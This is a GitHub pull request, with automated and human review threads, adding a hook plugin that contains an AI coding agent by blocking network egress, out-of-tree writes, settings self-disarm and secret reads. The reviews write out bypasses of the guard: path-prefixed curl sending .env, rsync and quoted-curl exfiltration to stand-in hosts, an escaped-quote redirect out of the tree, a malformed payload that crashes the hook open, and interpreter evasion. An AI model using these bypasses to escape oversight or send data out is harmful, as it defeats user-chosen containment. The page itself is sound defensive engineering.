Skip to content

feat(security): ship the containment guard as the awos-containment plugin - #146

Open
oleksii-shevchuk wants to merge 2 commits into
mainfrom
feat/awos-containment-plugin
Open

feat(security): ship the containment guard as the awos-containment plugin#146
oleksii-shevchuk wants to merge 2 commits into
mainfrom
feat/awos-containment-plugin

Conversation

@oleksii-shevchuk

@oleksii-shevchuk oleksii-shevchuk commented Jul 13, 2026

Copy link
Copy Markdown
Collaborator

What

New plugins/awos-containment/: .claude-plugin/plugin.json, hooks/hooks.json (a PreToolUse hook wired through ${CLAUDE_PLUGIN_ROOT}), and hooks/awos-containment-guard.js — a dependency-free Node guard that reads the
PreToolUse payload on stdin and exits 2 to block a boundary crossing, 0 otherwise.

The installer registers the awos-marketplace and — subject to a consent prompt (default-yes; --containment/--no-containment for scripted runs; an explicit decline is sticky and not re-flipped on reinstall) — enables the plugin via an enabledPlugins entry in .claude/settings.json (src/services/marketplace-configurator.js). Registration only makes the plugin available; the enabledPlugins write is what arms the hook. Both operations are independently idempotent (read-merge-write).

What the guard blocks:

Network egress — a Bash/PowerShell command matching a data-transfer/networking token (curl, wget, nc, scp, rsync, Invoke-WebRequest, iwr/irm, …) to a non-loopback host. Loopback (localhost/127.0.0.1) is exempt so a local health-check curl still runs; a loopback URL does not whitelist a scheme-less foreign host riding beside it, and a disguised localhost@evil authority resolves to its real host. The command word is quote-normalized, so "curl" http://… is caught while grep -rn "curl" src/ is not.

Out-of-tree writes — a Write/Edit/MultiEdit/NotebookEdit, or a Bash redirect/tee/dd/cp/mv, whose target resolves outside the project directory. Final-component symlinks are canonicalized; ~ is expanded;
cp/mv/install destinations are found behind wrapper words, path qualification, grouping keywords and -t.

Self-disarm invariant on .claude/settings*.json — not a blanket deny. A blanket deny blocked the rollback of a hook install while the install itself, run inside an npx subprocess the command parse can't see, went through —
the guard denied the undo and permitted the do. Instead a Write/Edit is simulated and allowed unless it would leave containment un-armed: the plugin disabled, the marketplace unregistered or repointed, disableAllHooks, a
bypassPermissions default, a newly registered hook command, or a new/changed env key (which reaches the guard's own process — the escape hatch, CLAUDE_PROJECT_DIR, or NODE_OPTIONS; env keys are case-folded on Windows).
Removing a hook or an env key stays allowed (the rollback). Evaluated over the merged settings.json + settings.local.json stack.

Persistence sinks — .git/hooks/, .github/workflows/, and the MCP registration .mcp.json: the writes that would plant durable execution. A Bash redirect into a settings file carries no inspectable content and stays a blanket deny.

Secret reads — a Read/Glob/Grep of a credential/key file (.env, *.pem, *.key, id_rsa, …; templates like .env.example exempt), plus a best-effort Bash read (cat .env, grep … .env, < key.pem).

Fail-open by design: an unparseable or null/primitive payload and the AWOS_CONTAINMENT_OFF=1 escape hatch each allow the call — a false block that breaks a legitimate in-tree write is worse than a rare miss.

Cross-namespace paths are reconciled rather than blanket-allowed: a POSIX target under a Windows root is converted when it is a Git-Bash drive-mount (/c/…C:\…) and compared normally, and is otherwise treated as out-of-tree; only the rare reverse — a Windows-absolute target under a POSIX root — remains fail-open.

Honest scope: this is a least-privilege containment lever, not a general injection defense. It does not stop a generic in-tree, in-domain write. The egress / out-of-tree / protected-write / secret-read denies are robust; the shell-string-parsing branches (Bash redirect, Bash secret-read) are a best-effort tripwire, not a boundary — an interpreter (python -c, node -e, npx) can evade them.

Why

A PreToolUse guard is a session-global security control: it fires on every matched tool call, across the orchestrator and every subagent (the payload carries agent_id/agent_type), for the whole run, and stays active under --dangerously-skip-permissions. That deserves first-class, versioned, opt-in packaging rather than an installer-written settings hook — a plugin carries its own manifest and version, resolves its hook path through ${CLAUDE_PLUGIN_ROOT} regardless of install location, and can be seen and disabled as a unit.

It is a hook rather than a permissions.deny rule for expressiveness — not because deny rules stop working under bypass (they apply in every mode). A deny rule cannot carry an allowlist exception, so "deny writes outside the
project root but allow everything inside" and "deny egress except to loopback" are not expressible as deny rules. Claude Code's own protected-path list already covers .claude/ and .git/ in every mode except bypassPermissions (and .mcp.json sits on its protected-files list too); .github/workflows/ is on neither.

Tests

Layer-1 lint: plugins/awos-containment/ ships a plugin.json, a PreToolUse hook resolved via ${CLAUDE_PLUGIN_ROOT} invoking awos-containment-guard.js, and a marketplace.json entry whose version matches plugin.json.

Installer unit tests (tests/installer/configurators.test.js): the marketplace registration and the enabledPlugins entry are written idempotently, including the already-registered upgrade path; consent is enable/decline/sticky-tested (configurators + prompt + setup-orchestrator).

Guard unit tests (tests/installer/containment-guard.test.js, 92 tests): each block/allow branch — out-of-tree Write/Edit (including through a symlink), egress incl. the loopback-URL-beside-a-foreign-host and disguised-loopback cases and the quoted command word, the shell-parse desync family (escaped quote, ANSI-C $'…', comment-as-prose, heredoc-body-as-data, PowerShell), cp/mv behind wrappers, the settings self-disarm invariant (merged stack, env-neuter incl. NODE_OPTIONS and case-folded keys, hook-add vs hook-remove, marketplace repoint, literal Edit simulation), secret reads (Read family + Bash, pattern-first args not misread as a file), PowerShell parity, the escape-hatch tamper block, fail-open on unparseable/null payloads, the cross-namespace cases, and the over-refusals the hardening must not introduce (grep -rn "curl" src/, a loopback request with a domain header, a multi-line commit body, a heredoc with a shell example).

Companion QA scenarios: provectus/awos-qa on feat/injection-containment-plugin-e2e (provectus/awos-qa#38).

@coderabbitai

coderabbitai Bot commented Jul 13, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

Adds the awos-containment Claude Code plugin with a PreToolUse guard, registers and enables it during installation, adds consent controls and documentation, and introduces comprehensive contract, installer, and containment behavior tests.

Changes

Containment plugin

Layer / File(s) Summary
Plugin manifest and hook registration
.claude-plugin/marketplace.json, plugins/awos-containment/..., tests/lint-prompts.test.js, CLAUDE.md
Adds plugin metadata, marketplace registration, the PreToolUse hook, and documentation of the containment plugin contract.
Containment guard enforcement
plugins/awos-containment/hooks/awos-containment-guard.js
Adds checks for out-of-tree writes, protected paths, secret reads, non-loopback network egress, shell write targets, namespace handling, and escape-hatch assignments.
Marketplace registration and consent enablement
src/services/marketplace-configurator.js, src/core/setup-orchestrator.js, src/index.js, src/utils/prompt.js, src/CLAUDE.md, README.md
Registers the marketplace, persists sticky plugin decisions, and adds --containment / --no-containment consent handling with TTY-aware defaults.
Installer and guard behavior validation
tests/installer/*
Covers marketplace merges, consent decisions, setup persistence, plugin contracts, and guard behavior across filesystem, network, shell, secret, PowerShell, fail-open, and self-protection cases.

Estimated code review effort: 4 (Complex) | ~60 minutes

Sequence Diagram(s)

sequenceDiagram
  participant ClaudeCode
  participant hooks.json
  participant awos-containment-guard.js
  participant ProjectFilesystem
  ClaudeCode->>hooks.json: Match PreToolUse tool
  hooks.json->>awos-containment-guard.js: Invoke guard with payload
  awos-containment-guard.js->>ProjectFilesystem: Resolve and inspect paths
  awos-containment-guard.js-->>ClaudeCode: Allow or block tool call
Loading

Possibly related PRs

  • provectus/awos#121: Extends installer prompt plumbing and prompt utility exports for a separate installer decision flow.

Suggested labels: enhancement

Suggested reviewers: workshur

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 78.13% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately summarizes the main change: adding and shipping the awos-containment security plugin and guard.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/awos-containment-plugin

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (1)
plugins/awos-containment/.claude-plugin/plugin.json (1)

9-9: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Keyword implies capability the guard explicitly disclaims.

"prompt-injection" in keywords suggests injection-defense, but this PR's own CLAUDE.md addition states the guard "is a containment layer, not a general injection defense." Users searching the marketplace by this keyword may over-trust its scope.

✏️ Suggested tweak
-  "keywords": ["security", "containment", "prompt-injection", "hook"]
+  "keywords": ["security", "containment", "least-privilege", "hook"]
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@plugins/awos-containment/.claude-plugin/plugin.json` at line 9, Remove the
"prompt-injection" keyword from the keywords array in plugin.json, keeping the
remaining capability-accurate keywords unchanged.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@plugins/awos-containment/hooks/awos-containment-guard.js`:
- Around line 421-463: Update TEE_RE and the tee-handling logic in
collectBashWriteTargets so every non-option destination token after tee is
collected, not just the first one. Preserve support for tee options, quoted
paths, command separators, and existing device-sink filtering, ensuring commands
such as tee file1 file2 file3 validate each target.

In `@tests/installer/containment-guard.test.js`:
- Line 1: Remove the stray Cyrillic text preceding the opening comment marker on
the first line of containment-guard.test.js, restoring a valid `/**` comment
start so the test file parses successfully.

---

Nitpick comments:
In `@plugins/awos-containment/.claude-plugin/plugin.json`:
- Line 9: Remove the "prompt-injection" keyword from the keywords array in
plugin.json, keeping the remaining capability-accurate keywords unchanged.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: b3473793-f15a-454b-818c-103932ae7f12

📥 Commits

Reviewing files that changed from the base of the PR and between c440f69 and d6457c5.

📒 Files selected for processing (10)
  • .claude-plugin/marketplace.json
  • CLAUDE.md
  • plugins/awos-containment/.claude-plugin/plugin.json
  • plugins/awos-containment/hooks/awos-containment-guard.js
  • plugins/awos-containment/hooks/hooks.json
  • src/CLAUDE.md
  • src/services/marketplace-configurator.js
  • tests/installer/configurators.test.js
  • tests/installer/containment-guard.test.js
  • tests/lint-prompts.test.js

Comment thread plugins/awos-containment/hooks/awos-containment-guard.js Outdated
Comment thread tests/installer/containment-guard.test.js Outdated

@AlexanderMakarov AlexanderMakarov left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a solid, well-documented containment lever — the header is honest about robust-vs-best-effort, and the negative test coverage (loopback forms, output-flag filenames, localhost@evil disguises, pattern-first search) is genuinely careful. Three things I'd want resolved before merge — the first two in the guard's own stated strong path rather than the best-effort residuals, the third in how the installer arms it:

  1. A path-prefixed egress binary walks straight through the network-egress deny/usr/bin/curl … -d @.env and ./curl … are allowed (inline). That's guarantee (a), the one the header calls robust, and the fix pattern already lives in this file (the secret-read branch basenames the command word; egress doesn't).

  2. The guard fails open on its own internal errors — an uncaught throw exits 1, which PreToolUse treats as a non-blocking error and proceeds (hooks reference: "Claude Code treats exit code 1 as a non-blocking error and proceeds with the action… If your hook is meant to enforce a policy, use exit 2"), so a malformed payload lets the tool run unchecked (inline). For a least-privilege lever the default on "I couldn't decide" should be block, not allow. It ties together three spots: the main() throw path, readStdin() collapsing a real read error (EAGAIN on a non-blocking pipe) into the unparseable-→-allow branch, and canonical() swallowing EACCES/ELOOP (not just the documented ENOENT) so an existing out-of-tree symlink degrades to its lexical in-tree path.

  3. Arming the hook deserves the user's consent. The description frames this as "first-class, versioned, opt-in packaging", but as wired it's the opposite of opt-in: every npx @provectusinc/awos run writes enabledPlugins["awos-containment@awos-marketplace"] = true into .claude/settings.json with no prompt and no flag — the first time the installer enables a plugin rather than just registering the marketplace, and it's the one that intercepts every tool call in every session. Three compounding effects: (a) .claude/settings.json is the shared, committed settings file, so one install arms the hook for the whole team — Claude Code's workspace-trust dialog gates the clone-time path, teammates see the marketplace and plugin listed when they first trust the folder (docs), but nothing prompts the person running npx in a project they already trust; (b) the escape route is circular — the guard's block messages say "disable the awos-containment plugin", the guard itself (correctly) blocks writes to .claude/settings.json, so the user has to hand-edit, and the next installer run flips their explicit false back to true (inline); (c) the installer already owns the machinery for exactly this decision — src/utils/prompt.js asks in a TTY, --overwrite/--no-overwrite short-circuit for scripts, non-TTY defaults to the safe choice — built on the judgment that silently mutating user-owned config is the bug worth a prompt, and a session-global PreToolUse hook is a bigger mutation than a command wrapper. I'd mirror that pattern: a TTY prompt ("Enable the awos-containment guard? It blocks network egress, out-of-tree writes and secret reads in Claude Code sessions [Y/n]"), --containment/--no-containment flags for scripted runs, an explicit false treated as a sticky answer, and a README line noting the entry is team-shared via the committed settings file. Default-yes keeps the secure-by-default posture — the ask is consent, not a different default. If auto-arming is the deliberate call (containment only helps if it's universally on), say so in the description and README so the choice is visible; right now the "opt-in" framing and the behavior point in opposite directions.

Also inline: a false-positive where a command that merely quotes > ../x in a string (a commit message, an echo) gets blocked as an out-of-tree write — over-refusal is your stated top risk.

On the tests (IMPORTANT): every block assertion checks only res.status === 2 and never which rule fired, so a couple pass for the wrong reason (the AWOS_CONTAINMENT_OFF=1 curl … tamper case actually blocks at the egress branch; the export … sibling covers tamper correctly), and the tee multi-destination bug (the open CodeRabbit thread) has no catching test. Asserting on stderr would pin each branch. Coverage-wise .mcp.json, NotebookEdit's notebook_path, and half the egress tokens (scp/sftp/ftp/telnet/…) are never exercised — the guard handles them, but nothing would catch a regression.

Minor: I agree with CodeRabbit's nitpick that the prompt-injection keyword over-claims against your own "not a general injection defense" framing — least-privilege reads truer.

Comment thread plugins/awos-containment/hooks/awos-containment-guard.js
// whitespace, or a redirection/grouping char) so a word that merely
// CONTAINS one of these — `sync`, `concurrently`, a path segment `inc` —
// is never blocked.
const EGRESS_TOKENS = [

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

scp, sftp, ftp, and telnet are all here but rsync isn't, so rsync -a ./ [email protected]:/exfil is allowed (verified, exit 0). It's as clean a data-transfer binary as scp — is the omission deliberate (to avoid false positives on local rsync copies), or just missed? If it goes in, note it fails open on a scheme-less remote the same way scp does today.

@oleksii-shevchuk oleksii-shevchuk Jul 21, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added. rsync/rsync.exe to EGRESS_TOKENS. It fails open on a scheme-less remote the same way scp does today, as you noted. Also added the previously-missing block tests for scp/sftp/ftp/telnet.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed — rsync/rsync.exe are in EGRESS_TOKENS, and the added scp/sftp/ftp/telnet block tests are a good touch. Thanks.

* redirections, `tee`, `dd of=`, and the destination of `cp`/`mv`. Best-effort
* — see the file header. Device sinks (`/dev/null`, …) are filtered out.
*/
function collectBashWriteTargets(command) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Quoted > is a false-positive block. The redirect/tee/cp parsing runs on the raw string with no quote awareness, so a > (or tee/cp) inside a quoted argument is treated as a real out-of-tree write. Verified:

  • git commit -m "fix: write output > ../artifacts" → blocked (exit 2)
  • echo "see notes > ../README for details" → blocked (exit 2)

Over-refusing a legitimate commit or echo is the failure mode you call out as the worst one. You can't parse this perfectly without a real shell lexer (and the header already owns that best-effort limit for under-blocking), but stripping quoted spans before scanning for redirect targets — or not treating a > that sits between matched quotes as a redirect — would kill the common false positives. Worth a guard plus a negative test.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed. maskQuoted() blanks shell operators inside quoted spans before the redirect/tee/cp/dd scan; the target text is taken from the original by span. The commit-message/echo cases now pass; a real echo x > ../out.txt (bare or quoted target) still blocks. Positive + negative tests added.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The mask fixes the over-refusal I flagged, but it introduced an under-refusal in the same scan — an escaped \" desyncs the quote parity and masks a real >, so echo "a\"" > ../evil.txt passes (reproduced: plain echo x > ../evil.txt blocks, the escaped-quote variant does not). Left the trace and a one-line escape-aware fix inline on maskQuoted. Keeping this open until that's closed.

const input = payload.tool_input || {};
// The containment boundary is the project directory. Claude Code exposes it
// as CLAUDE_PROJECT_DIR; fall back to the hook payload's cwd, then process cwd.
const root = process.env.CLAUDE_PROJECT_DIR || payload.cwd || process.cwd();

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No fail-closed wrapper — an internal error becomes an allow. main() runs bare (main() at line 720, no surrounding try/catch), and PreToolUse blocks only on exit 2 — every other code, including the 1 from an uncaught throw, is a non-blocking error that lets the tool proceed ("Claude Code treats exit code 1 as a non-blocking error and proceeds with the action… use exit 2"). So a throw anywhere in the block path becomes an allow. Concrete trigger: root is CLAUDE_PROJECT_DIR || payload.cwd || process.cwd(), and payload.cwd is attacker-influenceable. A non-string cwd reaches isPosixAbsolute(p)p.startsWith is undefined → TypeError → exit 1 → the out-of-tree write is allowed:

{"tool_name":"Write","tool_input":{"file_path":"../../etc/evil","content":"x"},"cwd":42}   → exit 1 (allowed)

(You already coerce file_path with String(target), which is why a non-string path is safe — cwd just isn't given the same treatment.) Two changes: coerce/type-guard root (String(...), and only fall back to payload.cwd when it's a string), and wrap the whole body so an internal error fails closed:

try { main(); }
catch (e) {
  process.stderr.write('AWOS containment guard: internal error, blocking to fail safe: ' + e + '\n');
  process.exit(EXIT_BLOCK);
}

Same posture argument covers two neighbours while you're here: readStdin() catches a real read failure and returns '', which routes through the "unparseable JSON → allow" branch — a payload that was present and blockable gets allowed because the read hiccuped. readFileSync(0) on a piped stdin is a known Node footgun: once anything sets O_NONBLOCK on fd 0 (touching process.stdin does), the sync read can throw EAGAIN when the payload isn't fully available yet (nodejs/node#42826, eslint/eslint#10393). And canonical() catches every realpath error, so an existing final-component symlink that throws EACCES/ELOOP (not the documented ENOENT to-be-created leaf) degrades to the lexical in-tree path and the write is allowed. Same "fail open on our own error" shape as the throw path.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed all three spots. main()'s body is wrapped to exit 2 on an unexpected throw; root is String-coerced and only falls back to payload.cwd when it's a string (so {"cwd":42} no longer TypeErrors into exit 1) — these have unit tests. readStdin() no longer swallows a real read error into the unparseable→allow branch, and canonical() rethrows anything but ENOENT; these two are code-level hardening, self-documented as best-effort
(not cross-platform unit-tested), same class as the other interpreter-evasion residuals. The deliberate fail-opens (unparseable, null/primitive) still exit 0.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed closed — main() runs in a try/catch that exits 2 on any throw, guard() is fully synchronous so every sub-check error lands there, and readStdin/canonical no longer swallow real errors. Right posture.

log(`${SETTINGS_FILE} already has ${MARKETPLACE_NAME} registered`, 'info');
return { marketplaceConfigured: false };
const needsMarketplace = !settings.extraKnownMarketplaces[MARKETPLACE_NAME];
const needsPluginEnabled =

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

needsPluginEnabled = settings.enabledPlugins[ENABLED_PLUGIN_KEY] !== true treats an explicit false the same as missing, so every npx re-run flips a user's deliberate "awos-containment@awos-marketplace": false back to true. That contradicts the guard's own block messages, which offer "disable the awos-containment plugin" as the alternative to the env hatch — done via enabledPlugins, it silently reverts on the next install. Consider only writing the key when it's absent (=== undefined), leaving an explicit false intact.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed. The enable write now only happens when the key is absent (hasOwnProperty), so an explicit false is sticky and never re-flipped on reinstall. Plus the broader consent change: TTY [Y/n] prompt (default-yes),
--containment/--no-containment flags, non-TTY default-enable (secure-by-default), and a README disclosure. Tests cover enable/decline/sticky and every prompt form.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed — the enable write is gated on the key being absent now, so an explicit false stays sticky across re-runs. The prompt + flags + README round it out well.

Comment thread plugins/awos-containment/hooks/awos-containment-guard.js Outdated
@oleksii-shevchuk
oleksii-shevchuk force-pushed the feat/awos-containment-plugin branch from a1327a0 to d61ed20 Compare July 21, 2026 22:43

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
CLAUDE.md (1)

139-139: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Correct the prevention-pass wording.

“Pure over dimension objects” is grammatically incomplete. Replace it with “Purely operates on dimension objects” or equivalent wording.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@CLAUDE.md` at line 139, Update the prevention.ts description in CLAUDE.md by
replacing the grammatically incomplete “Pure over dimension objects” phrase with
equivalent wording such as “Purely operates on dimension objects,” while
preserving the surrounding behavior and scope descriptions.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Outside diff comments:
In `@CLAUDE.md`:
- Line 139: Update the prevention.ts description in CLAUDE.md by replacing the
grammatically incomplete “Pure over dimension objects” phrase with equivalent
wording such as “Purely operates on dimension objects,” while preserving the
surrounding behavior and scope descriptions.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 8706ae95-7070-421d-a9e6-c0f17fae470a

📥 Commits

Reviewing files that changed from the base of the PR and between d6457c5 and d61ed20.

📒 Files selected for processing (16)
  • .claude-plugin/marketplace.json
  • CLAUDE.md
  • README.md
  • plugins/awos-containment/.claude-plugin/plugin.json
  • plugins/awos-containment/hooks/awos-containment-guard.js
  • plugins/awos-containment/hooks/hooks.json
  • src/CLAUDE.md
  • src/core/setup-orchestrator.js
  • src/index.js
  • src/services/marketplace-configurator.js
  • src/utils/prompt.js
  • tests/installer/configurators.test.js
  • tests/installer/containment-guard.test.js
  • tests/installer/prompt.test.js
  • tests/installer/setup-orchestrator.test.js
  • tests/lint-prompts.test.js
🚧 Files skipped from review as they are similar to previous changes (4)
  • plugins/awos-containment/hooks/hooks.json
  • plugins/awos-containment/.claude-plugin/plugin.json
  • src/CLAUDE.md
  • tests/installer/configurators.test.js

@oleksii-shevchuk

oleksii-shevchuk commented Jul 21, 2026

Copy link
Copy Markdown
Collaborator Author

Thanks — thorough review. All three headline points and the inline items are addressed (replies on each thread): path-prefixed egress and fail-closed on internal error in the guard's robust path; consent-based arming with a sticky decline in the installer, mirroring the existing overwrite-prompt pattern; plus quoted-> over-refusal, stderr-branch test assertions + coverage, tee multi-destination, rsync, and the prompt-injectionleast-privilege keyword.

Two notes on the judgment calls. On egress kepts position-agnostic matching rather than basename(token[0]) — token[0]-only would let sudo/env/xargs wrappers bypass; the tradeoff is a small fail-safe over-refusal, documented and tested. On consent (E) the default stays enabled (secure-by-default) as you framed it — the change is visibility (prompt + flags + sticky decline + README), not a different default.

And one the review led to indirectly: running the companion behavioral E2E (awos-qa#38) caught a Windows-specific gap the unit tests missed — the guard's cross-namespace fail-open let a POSIX /tmp/… write through against a Windows root (Claude Code's tools are POSIX-flavored on Windows). Fixed in the same PR: a POSIX-absolute path on a Windows host is out-of-tree unless it's a Git-Bash drive-mount (/c/…); the real E2E now passes with the guard firing and blocking the write. The description's fail-open line is updated to match.

…ugin

Delivers the PreToolUse containment guard as a first-class, versioned Claude
Code plugin instead of an installer-written settings hook.

- New plugins/awos-containment/: plugin.json + hooks/hooks.json (PreToolUse via
  ${CLAUDE_PLUGIN_ROOT}) + the guard script.
- Installer registers the marketplace and enables the plugin via enabledPlugins
  in .claude/settings.json (idempotent; independent of marketplace registration).
- Egress fix: isLoopbackOnlyEgress ANDs !hasForeignHost on the URL branch, so a
  scheme-less foreign host beside a loopback URL no longer bypasses egress-deny.
- Folds in CodeRabbit's three: pattern-first false positive, symlink
  canonicalization, null-payload fail-open.
- Layer-1 lint for the plugin manifest/hook/marketplace-version contract;
  installer tests for enabledPlugins + the marketplace-present upgrade path.

Co-Authored-By: Claude Opus 4.8 <[email protected]>

@AlexanderMakarov AlexanderMakarov left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Most of last round is addressed and it holds up under a re-trace — thanks for the thorough pass.

One regression, and it's the blocker: the maskQuoted change that cured the quoted-> over-block introduced an under-block in the same scan. Bash treats a backslash-escaped \" as a literal, but the masker toggles quote state on it anyway, so parity desyncs and a real > gets masked — echo "a\"" > ../evil.txt now writes out of tree and passes the guard (reproduced below, inline). The bundled Section-C tests don't include an escaped quote, so this ships green. It reopens the quoted-> thread.

Two non-blocking follow-ups, neither needs to hold up the fix above:

  • The egress boundary still doesn't count quote characters, so "curl" http://evil/x slips the egress deny. This is pre-existing — the diff only widened the leading class with / and \ — so it's a separate pass, not a regression here.
  • The d-flag regex literals (REDIRECT_RE/TEE_RE/DD_RE) evaluate at module load, outside the fail-closed wrapper, so on a runtime without hasIndices the guard would throw at parse and disarm. A non-issue on the pinned Node 22+/recent Bun — just flagging the runtime assumption for a guard whose whole job is to fail closed.

Interaction with #153 (/awos:hire installs hooks). #153 has /awos:hire write hook entries into .claude/settings.json — the exact write this guard's PROTECTED_INTREE frames as planting durable execution. Two things fall out of that on a guarded project: the install itself slips through (the recruitment CLI writes settings.json inside the npx subprocess, which the command-string parse can't see — so the self-protection has a hole AWOS's own installer walks through), while a tool-mediated touch does not — #153's rollback that removes the settings entry, if done via Edit, is blocked, and the disable-via-settings escape hatch is the same circular one from last round. Not a blocker here, but the two need a decided interaction before both are default-on — the guard recognizing the recruitment CLI, or /awos:hire surfacing the conflict and offering the AWOS_CONTAINMENT_OFF path.

for (let i = 0; i < chars.length; i++) {
const c = chars[i];
if (quote) {
if (c === quote) quote = null;

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Escaped-quote desync masks a real redirect — this reopens the out-of-tree write path. maskQuoted toggles quote state on every "/' with no escaped-quote handling, but bash treats a backslash-escaped \" as a literal, not a delimiter. An odd number of \" before a real redirect leaves the masker "inside a quote", so it blanks the genuine >REDIRECT_RE then never sees it and the out-of-tree target is never collected.

Trace echo "a\"" > ../evil.txt: the \" wrongly closes the span, the following " re-opens it, and the > is masked to _, so ../evil.txt is never collected → allowed, while real bash performs the redirect. Chaining echo "\"" ; echo x > ../evil.txt masks the ; too, so maskedSegments stops splitting and a cp/mv in the second segment would be missed as well. It's a regression — the pre-mask code scanned the raw command, so > ../evil.txt matched regardless of surrounding quotes.

Reproduced against the current guard: echo x > ../evil.txt blocks (exit 2), but echo "a\"" > ../evil.txt and echo "\"" ; echo x > ../evil.txt both pass (exit 0).

Escape-aware masking closes it without bringing back the false-positive this mask exists to fix — at the top of the loop body:

if (c === '\\' && quote !== "'") { i++; continue; } // skip the escaped byte; POSIX single-quotes don't process backslash

With that applied, both PoCs block and git commit -m "note > ../artifacts" still passes. Worth a Section-C case pinning echo "a\"" > ../evil.txt must BLOCK, since the current tests pass without covering an escaped quote. I'd steer clear of the raw+masked-union alternative — it would reintroduce the git commit -m "… > ../x" over-block.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed and reproduced. The issue is wider than the trace: the desync defeated self-protection too, not just out-of-tree — echo "a\"" > .claude/settings.json and echo "\"" ; cp a .git/hooks/pre-commit also passed.

I took your one-liner as the base. On its own it doesn't close printf $'a\'b' > ../x — ANSI-C $'…' honours \', so the quote !== "'" carve-out desyncs there — and it breaks PowerShell: \ is not an escape there, so
"C:\dir\" is a complete string plus a real redirect that the fix lets through. So: escape-aware masking, $'…' as its own span type, and heredoc bodies masked as data — all resolved during the quote walk, so a <<EOF
inside a quoted literal can't open a bogus body.

Yes, I deviated from your advice and added the union — and you're right that a naive union brings the over-block back. So it isn't naive: it fires only on a desync, redirects only, and only from the byte where the parse broke
(desyncFrom). I also mask shell comments separately — an apostrophe in # don't desynced the parser. On your own examples: git commit -m "note > ../artifacts" — allow, # don't then git commit -m "n > ../x" — allow, printf $'a\'b' > ../out.txt — block. Remove the union and tests fail, including your PoC family.

Section-C is now a family: escaped quote, ANSI-C, comment-as-prose, PowerShell desync, and a separate must-not-block class. Tests 65 → 92; 18 fail on the pre-fix guard.

Comment thread plugins/awos-containment/hooks/awos-containment-guard.js
// whitespace, or a redirection/grouping char) so a word that merely
// CONTAINS one of these — `sync`, `concurrently`, a path segment `inc` —
// is never blocked.
const EGRESS_TOKENS = [

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed — rsync/rsync.exe are in EGRESS_TOKENS, and the added scp/sftp/ftp/telnet block tests are a good touch. Thanks.

const input = payload.tool_input || {};
// The containment boundary is the project directory. Claude Code exposes it
// as CLAUDE_PROJECT_DIR; fall back to the hook payload's cwd, then process cwd.
const root = process.env.CLAUDE_PROJECT_DIR || payload.cwd || process.cwd();

Copy link
Copy Markdown
Contributor

